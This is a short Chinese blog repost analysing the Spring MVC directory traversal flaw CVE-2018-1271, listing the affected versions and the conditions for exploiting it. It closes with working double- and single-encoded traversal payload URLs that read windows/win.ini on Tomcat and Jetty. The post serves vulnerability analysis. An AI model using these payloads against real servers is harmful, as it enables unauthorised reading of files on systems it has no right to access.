Spring MVC 目录穿越漏洞(CVE-2018-1271)分析

未分类 Admin 2个月前 (07-30) 58次浏览 0个评论

原文出自:https://paper.seebug.org/665/

漏洞影响

  • Spring Framework 5.0 to 5.0.4.
  • Spring Framework 4.3 to 4.3.14
  • 已不支持的旧版本仍然受影响

漏洞利用条件

  • Server运行于Windows系统上
  • 要使用file协议打开资源文件目录

 

cleanPath的问题在于String[] pathArray = delimitedListToStringArray(pathToUse, "/");

这个是允许空元素存在的,也就是说cleanPath会把//当成一个目录,而操作系统是不会把//当成一个目录的。借用一张Orange大佬的图。

 

详细分析本文不做记录

 

注意事项

1、在Spring Framework 大于5.0.1的版本,双编码payload在tomcat、jetty下触发不了,

但是单编码payload可以在jetty下触发,tomcat下失败(因为在默认情况下Tomcat遇到包含%2f(/)%5c(\)的URL直接http 400)

总结

Spring Framework <=5.0.1

tomcat、jetty:(双编码)

/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

Spring Framework >5.0.1

jetty:(单编码)

/resources/%5c%5c..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/windows/win.ini

喜欢 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址